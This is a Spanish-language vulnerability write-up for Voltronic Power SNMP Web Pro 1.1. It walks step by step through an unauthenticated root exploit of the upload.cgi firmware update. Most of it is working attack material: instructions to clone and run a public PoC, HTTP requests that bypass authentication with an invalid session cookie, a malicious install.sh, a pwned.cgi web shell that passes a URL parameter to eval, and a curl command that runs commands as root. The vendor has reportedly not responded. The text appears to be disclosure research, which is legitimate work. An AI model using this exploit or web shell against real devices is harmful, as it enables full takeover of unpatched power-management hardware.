
Ejecución remota de comandos como root completo sin autenticación previa en Voltronic Power SNMP Web Pro 1.1
Ejecución remota de comandos completa preautenticada en Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contiene una vulnerabilidad de ejecución remota de código no autenticada en el endpoint upload.cgi. La funcionalidad de actualización de firmware permite a los usuarios subir un archivo tar, que luego se extrae e instala sin ninguna validación de entrada ni comprobaciones de seguridad. La aplicación no restringe ni sanitiza el contenido del archivo, por lo que un atacante puede subir un archivo manipulado que contenga scripts CGI maliciosos. Con un poco de prueba y error —y mucha ayuda de la información que filtra cada respuesta— es posible deducir el formato exacto de archivo esperado y crear uno malicioso.
Además, el endpoint no valida correctamente la autenticación: basta con suministrar una cookie de sesión manipulada o no válida para eludir los controles de acceso y alcanzar la funcionalidad vulnerable sin credenciales válidas, aunque el front-end exija claramente un inicio de sesión para usarla.
La explotación exitosa permite a un atacante colocar archivos ejecutables arbitrarios dentro del directorio del servidor CGI y ejecutar comandos con privilegios de root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Todo lo siguiente se realizó contra una instancia local (http://localhost:5555). Dos cosas hacen que todo este ejercicio sea trivial desde el principio:
Cookie: -http-session-=NOT_VALID es todo lo que necesitamos para cada petición: el parámetro de consulta sid es un valor aleatorio generado por el JavaScript del front-end y el servidor también lo ignora por completo.Los pasos siguientes siguen ese bucle. Las peticiones se reducen a las cabeceras mínimas que el servidor realmente tiene en cuenta.
La primera petición ya nos dice dónde espera el servidor que viva el archivo de firmware. Nótese que params=extract le pide al CGI que extraiga un archivo, no que lo reciba: todavía no se ha subido nada, el endpoint simplemente intenta desempaquetar lo que espera encontrar en el disco.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Respuesta:
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
El cuerpo es oro puro. Además del (NAK (acknowledgement negativo) que nos dice que la operación falló, la salida cruda del binario tar está incrustada literalmente en la respuesta: está intentando extraer /root/upgrade.tar.gz. Nótese también la ruta de instalación de destino /root — estamos hablando con un proceso privilegiado.
Dos datos para el plan de explotación:
upgrade.tar.gz y se coloca en /root. Nuestro nombre de archivo no importa.Primero, crear un archivo tar de prueba (la subida es un POST multipart; su traza no es interesante — las llamadas GET son las que controlan todo el comportamiento):
tar czvf test.tar.gz test.txt
test.txt
Iniciar el ciclo: subir el archivo y luego extraerlo:
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK — la extracción se completó sin quejas. El ciclo (subir -> extraer -> instalar) es la forma de todo este exploit; a partir de aquí solo cambia el paso de instalación, así que las siguientes trazas solo muestran la línea de petición y el cuerpo de la respuesta (las cabeceras permanecen idénticas a las anteriores).
upgradeLa extracción funciona, es hora de instalar. La respuesta difiere como se esperaba:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
(ACK de nuevo, pero los restos de un comando de shell se filtran: cd: line 1: can't cd to /root/upgrade*. El instalador ejecuta shell arbitrario — intenta hacer cd a un glob que se expande a una carpeta llamada upgrade dentro del archivo extraído. Nuestro archivo plano e inocente (test.txt en la raíz) no satisface el glob. Solución fácil: reempaquetar con un directorio upgrade/ de nivel superior.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Luego repetir los dos primeros pasos del ciclo: volver a subir y volver a extraer.
install.shMisma llamada de instalación otra vez, y la filtración mejora aún más:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
Hace chmod de un script llamado install.sh — lo que significa que el procedimiento de instalación ejecuta un script de shell del archivo, como root. En este punto controlamos todos los archivos del archivo, así que controlamos ese script. Esta es toda la vulnerabilidad en una línea: archivos arbitrarios, ejecutados con privilegios de root, sin autenticación.
Construir install.sh y pwned.cgi dentro del directorio upgrade/ (ambos archivos también están incluidos en la carpeta upgrade/ de este repositorio).
install.sh desempaqueta el diseño físico para que nuestro script se coloque en el directorio CGI de la raíz web, y luego corrige los permisos:
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi es un CGI mínimo de despacho de comandos: toma el parámetro de consulta cmd, lo decodifica de URL y lo pasa a eval. Esa es la shell remota:
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
Reempaquetar el archivo:
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
Y ejecutar el ciclo completo una última vez:
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
Un (ACK limpio sin errores filtrados esta vez: el instalador ejecutó nuestro script sin quejarse, y pwned.cgi debería estar ahora en el directorio CGI. Un simple whoami lo confirma (entrecomilla la URL — ; es un separador de shell y el parser CGI se atraganta con él):
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
Root, en el ARM Linux del dispositivo. De cero credenciales a una shell root, todo el viaje solo necesitó las dos filtraciones anteriores y un archivo tar.

No, el proveedor aún no ha respondido. Use un proxy inverso nginx con autenticación para proteger el objetivo.
poc.py automatiza el ciclo manual 1:1. create_in_memory_tar_archive() construye el archivo del Paso 5 en memoria (install.sh + una variante basada en POST de pwned.cgi), luego upload_archive(), extract_firmware() e install_firmware() reproducen los Pasos 2-4, verify_exploit_uploaded() espera a que aparezca el CGI, y spawn_non_interactive_shell() te deja en un prompt >>> cuyos comandos se codifican en base64 y se envían por POST a pwned.cgi.